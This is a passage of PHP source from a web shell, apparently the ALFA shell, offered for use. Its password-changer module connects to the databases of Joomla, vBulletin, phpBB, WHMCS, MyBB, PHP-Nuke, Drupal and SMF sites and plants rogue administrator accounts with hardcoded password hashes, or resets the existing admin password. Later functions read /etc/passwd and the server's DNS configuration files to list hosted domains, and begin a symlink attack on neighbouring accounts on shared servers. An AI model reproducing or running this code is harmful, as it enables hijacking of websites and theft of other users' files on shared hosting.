  4578. echo __pre() . '<center><center><div class="txtfont_header">| Joomla |</div><p><p>' . getConfigHtml('joomla') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  4579. $table = array(
  4580. 'td1' => array(
  4581. 'color' => 'FFFFFF',
  4582. 'tdName' => 'Mysql Host',
  4583. 'id' => 'db_host',
  4584. 'inputName' => 'localhost',
  4585. 'inputValue' => 'localhost',
  4586. 'inputSize' => '50'
  4587. ),
  4588. 'td2' => array(
  4589. 'color' => 'FFFFFF',
  4590. 'tdName' => 'Db Name',
  4591. 'id' => 'db_name',
  4592. 'inputName' => 'database',
  4593. 'inputValue' => '',
  4594. 'inputSize' => '50'
  4595. ),
  4596. 'td3' => array(
  4597. 'color' => 'FFFFFF',
  4598. 'tdName' => 'Db User',
  4599. 'id' => 'db_user',
  4600. 'inputName' => 'username',
  4601. 'inputValue' => '',
  4602. 'inputSize' => '50'
  4603. ),
  4604. 'td4' => array(
  4605. 'color' => 'FFFFFF',
  4606. 'tdName' => 'Db Pass',
  4607. 'id' => 'db_pw',
  4608. 'inputName' => 'password',
  4609. 'inputValue' => '',
  4610. 'inputSize' => '50'
  4611. ),
  4612. 'td5' => array(
  4613. 'color' => 'FFFFFF',
  4614. 'tdName' => 'Table Prefix',
  4615. 'id' => 'db_prefix',
  4616. 'inputName' => 'prefix',
  4617. 'inputValue' => 'jos_',
  4618. 'inputSize' => '50'
  4619. ),
  4620. 'td6' => array(
  4621. 'color' => 'FF0000',
  4622. 'tdName' => 'Admin User',
  4623. 'inputName' => 'admin',
  4624. 'inputValue' => 'admin',
  4625. 'inputSize' => '50'
  4626. ),
  4627. 'td7' => array(
  4628. 'color' => 'FF0000',
  4629. 'tdName' => 'Admin Pass',
  4630. 'inputName' => 'toftof',
  4631. 'inputValue' => 'solevisible',
  4632. 'inputSize' => '50',
  4633. 'disabled' => true
  4634. ),
  4635. 'td8' => array(
  4636. 'color' => 'FF0000',
  4637. 'tdName' => 'Admin Email',
  4638. 'inputName' => 'email',
  4639. 'inputValue' => 'solevisible@fbi.gov',
  4640. 'inputSize' => '50'
  4641. )
  4642. );
  4643. create_table($table);
  4644. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4645. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  4646. $localhost = $_POST['alfa3'];
  4647. $database = $_POST['alfa4'];
  4648. $username = $_POST['alfa5'];
  4649. $password = $_POST['alfa6'];
  4650. $admin = $_POST['alfa8'];
  4651. $SQL = $_POST['alfa9'];
  4652. $prefix = $_POST['alfa10'];
  4653. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4654. $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (id,name,username,email,password) values(null,'Super User','" . $admin . "','" . $SQL . "','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  4655. $solevisible = @mysqli_query($conn, "select id from " . $prefix . "users where username='" . $admin . "'") or die(mysqli_error($conn));
  4656. $sole = @mysqli_num_rows($solevisible);
  4657. if ($sole == 1) {
  4658. $solevis = @mysqli_fetch_assoc($solevisible);
  4659. $res = $solevis['id'];
  4660. }
  4661. $solevisible = @mysqli_query($conn, "INSERT INTO " . $prefix . "user_usergroup_map (user_id,group_id) VALUES ('" . $res . "', '8')") or die(mysqli_error($conn));
  4662. if ($solevisible) {
  4663. __alert('Success... ' . $admin . ' is created...');
  4664. }
  4665. }
  4666. }
  4667. if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb') {
  4668. echo __pre() . '<center><center><div class="txtfont_header">| vBulletin |<div><p>' . getConfigHtml('vb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
  4669. $table = array(
  4670. 'td1' => array(
  4671. 'color' => 'FFFFFF',
  4672. 'tdName' => 'Mysql Host',
  4673. 'id' => 'db_host',
  4674. 'inputName' => 'localhost',
  4675. 'inputValue' => 'localhost',
  4676. 'inputSize' => '50'
  4677. ),
  4678. 'td2' => array(
  4679. 'color' => 'FFFFFF',
  4680. 'tdName' => 'Db Name',
  4681. 'id' => 'db_name',
  4682. 'inputName' => 'database',
  4683. 'inputValue' => '',
  4684. 'inputSize' => '50'
  4685. ),
  4686. 'td3' => array(
  4687. 'color' => 'FFFFFF',
  4688. 'tdName' => 'Db User',
  4689. 'id' => 'db_user',
  4690. 'inputName' => 'username',
  4691. 'inputValue' => '',
  4692. 'inputSize' => '50'
  4693. ),
  4694. 'td4' => array(
  4695. 'color' => 'FFFFFF',
  4696. 'tdName' => 'Db Pass',
  4697. 'id' => 'db_pw',
  4698. 'inputName' => 'password',
  4699. 'inputValue' => '',
  4700. 'inputSize' => '50'
  4701. ),
  4702. 'td5' => array(
  4703. 'color' => 'FFFFFF',
  4704. 'tdName' => 'Table Prefix',
  4705. 'id' => 'db_prefix',
  4706. 'inputName' => 'prefix',
  4707. 'inputValue' => '',
  4708. 'inputSize' => '50'
  4709. ),
  4710. 'td6' => array(
  4711. 'color' => 'FF0000',
  4712. 'tdName' => 'Admin User',
  4713. 'inputName' => 'admin',
  4714. 'inputValue' => 'admin',
  4715. 'inputSize' => '50'
  4716. ),
  4717. 'td7' => array(
  4718. 'color' => 'FF0000',
  4719. 'tdName' => 'Admin Pass',
  4720. 'inputName' => 'hi',
  4721. 'inputValue' => 'solevisible',
  4722. 'inputSize' => '50',
  4723. 'disabled' => true
  4724. ),
  4725. 'td8' => array(
  4726. 'color' => 'FF0000',
  4727. 'tdName' => 'Admin Email',
  4728. 'inputName' => 'email',
  4729. 'inputValue' => 'solevisible@fbi.gov',
  4730. 'inputSize' => '50'
  4731. )
  4732. );
  4733. create_table($table);
  4734. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4735. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  4736. $localhost = $_POST['alfa2'];
  4737. $database = $_POST['alfa3'];
  4738. $username = $_POST['alfa5'];
  4739. $password = $_POST['alfa6'];
  4740. $prefix = $_POST['alfa7'];
  4741. $admin = $_POST['alfa8'];
  4742. $SQL = $_POST['alfa9'];
  4743. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4744. $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','" . date('Y-m-d') . "','" . time() . "')") or die(mysqli_error($conn));
  4745. $solevisible = @mysqli_query($conn, "select userid from {$prefix}user where username='" . $admin . "'") or die(mysqli_error($conn));
  4746. $sole = mysqli_num_rows($solevisible);
  4747. if ($sole == 1) {
  4748. $solevis = mysqli_fetch_assoc($solevisible);
  4749. $res = $solevis['userid'];
  4750. }
  4751. $solevisible = @mysqli_query($conn, "insert into {$prefix}administrator (userid,adminpermissions) values('" . $res . "','16744444')") or die(mysqli_error($conn));
  4752. if ($solevisible) {
  4753. __alert('Success... ' . $admin . ' is created...');
  4754. }
  4755. }
  4756. }
  4757. if (isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb') {
  4758. echo __pre() . '<center><div class="txtfont_header">| phpBB |</div><p><p>' . getConfigHtml('phpbb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4759. $table = array(
  4760. 'td1' => array(
  4761. 'color' => 'FFFFFF',
  4762. 'tdName' => 'Mysql Host',
  4763. 'id' => 'db_host',
  4764. 'inputName' => 'localhost',
  4765. 'inputValue' => 'localhost',
  4766. 'inputSize' => '50'
  4767. ),
  4768. 'td2' => array(
  4769. 'color' => 'FFFFFF',
  4770. 'tdName' => 'Db Name',
  4771. 'id' => 'db_name',
  4772. 'inputName' => 'database',
  4773. 'inputValue' => '',
  4774. 'inputSize' => '50'
  4775. ),
  4776. 'td3' => array(
  4777. 'color' => 'FFFFFF',
  4778. 'tdName' => 'Db User',
  4779. 'id' => 'db_user',
  4780. 'inputName' => 'username',
  4781. 'inputValue' => '',
  4782. 'inputSize' => '50'
  4783. ),
  4784. 'td4' => array(
  4785. 'color' => 'FFFFFF',
  4786. 'tdName' => 'Db Pass',
  4787. 'id' => 'db_pw',
  4788. 'inputName' => 'password',
  4789. 'inputValue' => '',
  4790. 'inputSize' => '50'
  4791. ),
  4792. 'td5' => array(
  4793. 'color' => 'FFFFFF',
  4794. 'tdName' => 'Table Prefix',
  4795. 'id' => 'db_prefix',
  4796. 'inputName' => 'prefix',
  4797. 'inputValue' => '',
  4798. 'inputSize' => '50'
  4799. ),
  4800. 'td6' => array(
  4801. 'color' => 'FF0000',
  4802. 'tdName' => 'Admin User',
  4803. 'inputName' => 'admin',
  4804. 'inputValue' => 'admin',
  4805. 'inputSize' => '50'
  4806. ),
  4807. 'td7' => array(
  4808. 'color' => 'FF0000',
  4809. 'tdName' => 'Admin Pass',
  4810. 'inputName' => 'toftof',
  4811. 'inputValue' => 'solevisible',
  4812. 'inputSize' => '50',
  4813. 'disabled' => true
  4814. ),
  4815. 'td8' => array(
  4816. 'color' => 'FF0000',
  4817. 'tdName' => 'Admin Email',
  4818. 'inputName' => 'email',
  4819. 'inputValue' => 'solevisible@fbi.gov',
  4820. 'inputSize' => '50'
  4821. )
  4822. );
  4823. create_table($table);
  4824. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4825. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  4826. $localhost = $_POST['alfa2'];
  4827. $database = $_POST['alfa3'];
  4828. $username = $_POST['alfa4'];
  4829. $password = $_POST['alfa6'];
  4830. $admin = $_POST['alfa8'];
  4831. $SQL = $_POST['alfa9'];
  4832. $prefix = $_POST['alfa10'];
  4833. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4834. $hash = md5('solevisible');
  4835. $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4836. $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4837. $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE user_type = 3") or die(mysqli_error($conn));
  4838. $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE user_type = 3") or die(mysqli_error($conn));
  4839. $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_email ='" . $SQL . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4840. if ($solevisible) {
  4841. __alert('Success... ' . $admin . ' is created...');
  4842. }
  4843. }
  4844. }
  4845. if (isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs') {
  4846. echo __pre() . '<center><div class="txtfont_header">| Whmcs |</div><p><p>' . getConfigHtml('whmcs') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
  4847. $table = array(
  4848. 'td1' => array(
  4849. 'color' => 'FFFFFF',
  4850. 'tdName' => 'Mysql Host',
  4851. 'id' => 'db_host',
  4852. 'inputName' => 'localhost',
  4853. 'inputValue' => 'localhost',
  4854. 'inputSize' => '50'
  4855. ),
  4856. 'td2' => array(
  4857. 'color' => 'FFFFFF',
  4858. 'tdName' => 'Db Name',
  4859. 'id' => 'db_name',
  4860. 'inputName' => 'database',
  4861. 'inputValue' => '',
  4862. 'inputSize' => '50'
  4863. ),
  4864. 'td3' => array(
  4865. 'color' => 'FFFFFF',
  4866. 'tdName' => 'Db User',
  4867. 'id' => 'db_user',
  4868. 'inputName' => 'username',
  4869. 'inputValue' => '',
  4870. 'inputSize' => '50'
  4871. ),
  4872. 'td4' => array(
  4873. 'color' => 'FFFFFF',
  4874. 'tdName' => 'Db Pass',
  4875. 'id' => 'db_pw',
  4876. 'inputName' => 'password',
  4877. 'inputValue' => '',
  4878. 'inputSize' => '50'
  4879. ),
  4880. 'td6' => array(
  4881. 'color' => 'FF0000',
  4882. 'tdName' => 'Admin User',
  4883. 'inputName' => 'admin',
  4884. 'inputValue' => 'admin',
  4885. 'inputSize' => '50'
  4886. ),
  4887. 'td7' => array(
  4888. 'color' => 'FF0000',
  4889. 'tdName' => 'Admin Pass',
  4890. 'inputName' => 'toftof',
  4891. 'inputValue' => 'solevisible',
  4892. 'inputSize' => '50',
  4893. 'disabled' => true
  4894. ),
  4895. 'td8' => array(
  4896. 'color' => 'FF0000',
  4897. 'tdName' => 'Admin Email',
  4898. 'inputName' => 'email',
  4899. 'inputValue' => 'solevisible@fbi.gov',
  4900. 'inputSize' => '50'
  4901. )
  4902. );
  4903. create_table($table);
  4904. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4905. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  4906. $localhost = $_POST['alfa2'];
  4907. $database = $_POST['alfa3'];
  4908. $username = $_POST['alfa4'];
  4909. $password = $_POST['alfa5'];
  4910. $admin = $_POST['alfa8'];
  4911. $SQL = $_POST['alfa9'];
  4912. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4913. $solevisible = @mysqli_query($conn, "insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','" . $admin . "','d4a590caacc0be55ef286e40a945ea45','" . $SQL . "','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
  4914. if ($solevisible) {
  4915. __alert('Success... ' . $admin . ' is created...');
  4916. }
  4917. }
  4918. }
  4919. if (isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb') {
  4920. echo __pre() . '<center><div class="txtfont_header">| Mybb |</div><p><p>' . getConfigHtml('mybb') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4921. $table = array(
  4922. 'td1' => array(
  4923. 'color' => 'FFFFFF',
  4924. 'tdName' => 'Mysql Host',
  4925. 'id' => 'db_host',
  4926. 'inputName' => 'localhost',
  4927. 'inputValue' => 'localhost',
  4928. 'inputSize' => '50'
  4929. ),
  4930. 'td2' => array(
  4931. 'color' => 'FFFFFF',
  4932. 'tdName' => 'Db Name',
  4933. 'id' => 'db_name',
  4934. 'inputName' => 'database',
  4935. 'inputValue' => '',
  4936. 'inputSize' => '50'
  4937. ),
  4938. 'td3' => array(
  4939. 'color' => 'FFFFFF',
  4940. 'tdName' => 'Db User',
  4941. 'id' => 'db_user',
  4942. 'inputName' => 'username',
  4943. 'inputValue' => '',
  4944. 'inputSize' => '50'
  4945. ),
  4946. 'td4' => array(
  4947. 'color' => 'FFFFFF',
  4948. 'tdName' => 'Db Pass',
  4949. 'id' => 'db_pw',
  4950. 'inputName' => 'password',
  4951. 'inputValue' => '',
  4952. 'inputSize' => '50'
  4953. ),
  4954. 'td5' => array(
  4955. 'color' => 'FFFFFF',
  4956. 'tdName' => 'Table Prefix',
  4957. 'id' => 'db_prefix',
  4958. 'inputName' => 'prefix',
  4959. 'inputValue' => '',
  4960. 'inputSize' => '50'
  4961. ),
  4962. 'td6' => array(
  4963. 'color' => 'FF0000',
  4964. 'tdName' => 'Admin User',
  4965. 'inputName' => 'admin',
  4966. 'inputValue' => 'admin',
  4967. 'inputSize' => '50'
  4968. ),
  4969. 'td7' => array(
  4970. 'color' => 'FF0000',
  4971. 'tdName' => 'Admin Pass',
  4972. 'inputName' => 'toftof',
  4973. 'inputValue' => 'solevisible',
  4974. 'inputSize' => '50',
  4975. 'disabled' => true
  4976. ),
  4977. 'td8' => array(
  4978. 'color' => 'FF0000',
  4979. 'tdName' => 'Admin Email',
  4980. 'inputName' => 'email',
  4981. 'inputValue' => 'solevisible@fbi.gov',
  4982. 'inputSize' => '50'
  4983. )
  4984. );
  4985. create_table($table);
  4986. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4987. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  4988. $localhost = $_POST['alfa2'];
  4989. $database = $_POST['alfa3'];
  4990. $username = $_POST['alfa4'];
  4991. $password = $_POST['alfa5'];
  4992. $admin = $_POST['alfa8'];
  4993. $SQL = $_POST['alfa9'];
  4994. $prefix = $_POST['alfa10'];
  4995. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4996. $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (uid,username,password,salt,email,usergroup) values(null,'" . $admin . "','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','" . $SQL . "','4')") or die(mysqli_error($conn));
  4997. if ($solevisible) {
  4998. __alert('Success... ' . $admin . ' is created...');
  4999. }
  5000. }
  5001. }
  5002. if (isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke') {
  5003. echo __pre() . '<center><div class="txtfont_header">| PhpNuke |</div><p><p>' . getConfigHtml('phpnuke') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
  5004. $table = array(
  5005. 'td1' => array(
  5006. 'color' => 'FFFFFF',
  5007. 'tdName' => 'Mysql Host',
  5008. 'id' => 'db_host',
  5009. 'inputName' => 'localhost',
  5010. 'inputValue' => 'localhost',
  5011. 'inputSize' => '50'
  5012. ),
  5013. 'td2' => array(
  5014. 'color' => 'FFFFFF',
  5015. 'tdName' => 'Db Name',
  5016. 'id' => 'db_name',
  5017. 'inputName' => 'database',
  5018. 'inputValue' => '',
  5019. 'inputSize' => '50'
  5020. ),
  5021. 'td3' => array(
  5022. 'color' => 'FFFFFF',
  5023. 'tdName' => 'Db User',
  5024. 'id' => 'db_user',
  5025. 'inputName' => 'username',
  5026. 'inputValue' => '',
  5027. 'inputSize' => '50'
  5028. ),
  5029. 'td4' => array(
  5030. 'color' => 'FFFFFF',
  5031. 'tdName' => 'Db Pass',
  5032. 'id' => 'db_pw',
  5033. 'inputName' => 'password',
  5034. 'inputValue' => '',
  5035. 'inputSize' => '50'
  5036. ),
  5037. 'td5' => array(
  5038. 'color' => 'FFFFFF',
  5039. 'tdName' => 'Table Prefix',
  5040. 'id' => 'db_prefix',
  5041. 'inputName' => 'prefix',
  5042. 'inputValue' => '',
  5043. 'inputSize' => '50'
  5044. ),
  5045. 'td6' => array(
  5046. 'color' => 'FF0000',
  5047. 'tdName' => 'Admin User',
  5048. 'inputName' => 'admin',
  5049. 'inputValue' => 'admin',
  5050. 'inputSize' => '50'
  5051. ),
  5052. 'td7' => array(
  5053. 'color' => 'FF0000',
  5054. 'tdName' => 'Admin Pass',
  5055. 'inputName' => 'toftof',
  5056. 'inputValue' => 'solevisible',
  5057. 'inputSize' => '50',
  5058. 'disabled' => true
  5059. ),
  5060. 'td8' => array(
  5061. 'color' => 'FF0000',
  5062. 'tdName' => 'Admin Email',
  5063. 'inputName' => 'email',
  5064. 'inputValue' => 'solevisible@fbi.gov',
  5065. 'inputSize' => '50'
  5066. )
  5067. );
  5068. create_table($table);
  5069. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  5070. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  5071. $localhost = $_POST['alfa2'];
  5072. $database = $_POST['alfa3'];
  5073. $username = $_POST['alfa4'];
  5074. $password = $_POST['alfa5'];
  5075. $admin = $_POST['alfa7'];
  5076. $SQL = $_POST['alfa9'];
  5077. $prefix = $_POST['alfa10'];
  5078. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  5079. $hash = md5($pwd);
  5080. $solevisible = @mysqli_query($conn, "insert into " . $prefix . "_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  5081. if ($solevisible) {
  5082. __alert('Success... ' . $admin . ' is created...');
  5083. }
  5084. }
  5085. }
  5086. if (isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal') {
  5087. echo __pre() . '<center><div class="txtfont_header">| Drupal |</div><p><p>' . getConfigHtml('drupal') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
  5088. $table = array(
  5089. 'td1' => array(
  5090. 'color' => 'FFFFFF',
  5091. 'tdName' => 'Mysql Host',
  5092. 'id' => 'db_host',
  5093. 'inputName' => 'localhost',
  5094. 'inputValue' => 'localhost',
  5095. 'inputSize' => '50'
  5096. ),
  5097. 'td2' => array(
  5098. 'color' => 'FFFFFF',
  5099. 'tdName' => 'Db Name',
  5100. 'id' => 'db_name',
  5101. 'inputName' => 'database',
  5102. 'inputValue' => '',
  5103. 'inputSize' => '50'
  5104. ),
  5105. 'td3' => array(
  5106. 'color' => 'FFFFFF',
  5107. 'tdName' => 'Db User',
  5108. 'id' => 'db_user',
  5109. 'inputName' => 'username',
  5110. 'inputValue' => '',
  5111. 'inputSize' => '50'
  5112. ),
  5113. 'td4' => array(
  5114. 'color' => 'FFFFFF',
  5115. 'tdName' => 'Db Pass',
  5116. 'id' => 'db_pw',
  5117. 'inputName' => 'password',
  5118. 'inputValue' => '',
  5119. 'inputSize' => '50'
  5120. ),
  5121. 'td6' => array(
  5122. 'color' => 'FF0000',
  5123. 'tdName' => 'Admin User',
  5124. 'inputName' => 'admin',
  5125. 'inputValue' => 'admin',
  5126. 'inputSize' => '50'
  5127. ),
  5128. 'td7' => array(
  5129. 'color' => 'FF0000',
  5130. 'tdName' => 'Admin Pass',
  5131. 'inputName' => 'toftof',
  5132. 'inputValue' => 'solevisible',
  5133. 'inputSize' => '50',
  5134. 'disabled' => true
  5135. )
  5136. );
  5137. create_table($table);
  5138. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  5139. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  5140. $localhost = $_POST['alfa2'];
  5141. $database = $_POST['alfa4'];
  5142. $username = $_POST['alfa5'];
  5143. $password = $_POST['alfa6'];
  5144. $admin = $_POST['alfa8'];
  5145. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  5146. $getDescuid = @mysqli_query($conn, "select uid from users order by uid desc limit 0,1");
  5147. $getDescuid = @mysqli_fetch_assoc($getDescuid);
  5148. $getDescuid = $getDescuid['uid'];
  5149. $getdescuid = $getDescuid++;
  5150. $solevisible = @mysqli_query($conn, "insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
  5151. $solevisible = @mysqli_query($conn, "select uid from users where name='" . $admin . "'") or die(mysqli_error($conn));
  5152. $sole = mysqli_num_rows($solevisible);
  5153. if ($sole == 1) {
  5154. $solevis = mysqli_fetch_assoc($solevisible);
  5155. $res = $solevis['uid'];
  5156. }
  5157. $solevisible = @mysqli_query($conn, "INSERT INTO users_roles (uid,rid) VALUES ('" . $res . "', '3')") or die(mysqli_error($conn));
  5158. if ($solevisible) {
  5159. __alert('Success... ' . $admin . ' is created...');
  5160. }
  5161. }
  5162. }
  5163. if (isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf') {
  5164. echo __pre() . '<center><center><div class="txtfont_header">| SMF |</div><p><p>' . getConfigHtml('smf') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
  5165. $table = array(
  5166. 'td1' => array(
  5167. 'color' => 'FFFFFF',
  5168. 'tdName' => 'Mysql Host',
  5169. 'id' => 'db_host',
  5170. 'inputName' => 'localhost',
  5171. 'inputValue' => 'localhost',
  5172. 'inputSize' => '50'
  5173. ),
  5174. 'td2' => array(
  5175. 'color' => 'FFFFFF',
  5176. 'tdName' => 'Db Name',
  5177. 'id' => 'db_name',
  5178. 'inputName' => 'database',
  5179. 'inputValue' => '',
  5180. 'inputSize' => '50'
  5181. ),
  5182. 'td3' => array(
  5183. 'color' => 'FFFFFF',
  5184. 'tdName' => 'Db User',
  5185. 'id' => 'db_user',
  5186. 'inputName' => 'username',
  5187. 'inputValue' => '',
  5188. 'inputSize' => '50'
  5189. ),
  5190. 'td4' => array(
  5191. 'color' => 'FFFFFF',
  5192. 'tdName' => 'Db Pass',
  5193. 'id' => 'db_pw',
  5194. 'inputName' => 'password',
  5195. 'inputValue' => '',
  5196. 'inputSize' => '50'
  5197. ),
  5198. 'td5' => array(
  5199. 'color' => 'FFFFFF',
  5200. 'tdName' => 'Table Prefix',
  5201. 'id' => 'db_prefix',
  5202. 'inputName' => 'prefix',
  5203. 'inputValue' => 'smf_',
  5204. 'inputSize' => '50'
  5205. ),
  5206. 'td6' => array(
  5207. 'color' => 'FF0000',
  5208. 'tdName' => 'Admin User',
  5209. 'inputName' => 'admin',
  5210. 'inputValue' => 'admin',
  5211. 'inputSize' => '50'
  5212. ),
  5213. 'td7' => array(
  5214. 'color' => 'FF0000',
  5215. 'tdName' => 'Admin Pass',
  5216. 'inputName' => 'hi',
  5217. 'inputValue' => 'solevisible',
  5218. 'inputSize' => '50',
  5219. 'disabled' => true
  5220. )
  5221. );
  5222. create_table($table);
  5223. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  5224. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  5225. $localhost = $_POST['alfa2'];
  5226. $database = $_POST['alfa3'];
  5227. $username = $_POST['alfa5'];
  5228. $password = $_POST['alfa6'];
  5229. $prefix = $_POST['alfa7'];
  5230. $admin = $_POST['alfa8'];
  5231. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  5232. $setpwAlg = sha1(strtolower($admin) . 'solevisible');
  5233. $solevisible = @mysqli_query($conn, "insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
  5234. if ($solevisible) {
  5235. __alert('Success... ' . $admin . ' is created...');
  5236. }
  5237. }
  5238. }
  5239. echo "</div>";
  5240. alfafooter();
  5241. }
  5242. function alfaMakePwd()
  5243. {
  5244. if (_alfa_file_exists("/etc/virtual/domainowners") || (_alfa_file_exists("/etc/named.conf") && _alfa_file_exists("/etc/valiases"))) {
  5245. return "/home/{user}/public_html/";
  5246. }
  5247. $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
  5248. $public = end($document);
  5249. array_pop($document);
  5250. array_pop($document);
  5251. $path = implode("/", $document) . "/{user}/" . $public;
  5252. return $path;
  5253. }
  5254. function alfaGetDomains($state = false)
  5255. {
  5256. $state = "named.conf";
  5257. $lines = array();
  5258. $lines = _alfa_file('/etc/named.conf');
  5259. if (!$lines) {
  5260. $lines = @scandir("/etc/valiases/");
  5261. $state = "valiases";
  5262. if (!$lines) {
  5263. $lines = @scandir("/var/named");
  5264. $state = "named";
  5265. if (!$lines && $state) {
  5266. $lines = _alfa_file('/etc/passwd');
  5267. $state = "passwd";
  5268. }
  5269. }
  5270. }
  5271. return array(
  5272. "lines" => $lines,
  5273. "state" => $state
  5274. );
  5275. }
  5276. function alfasymlink()
  5277. {
  5278. alfahead();
  5279. echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
  5280. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'symperl' || $_POST["alfa2"] == "sympy")) {
  5281. $sympath = alfaMakePwd();
  5282. @mkdir('cgialfa', 0755);
  5283. @chdir('cgialfa');
  5284. alfacgihtaccess('cgi');
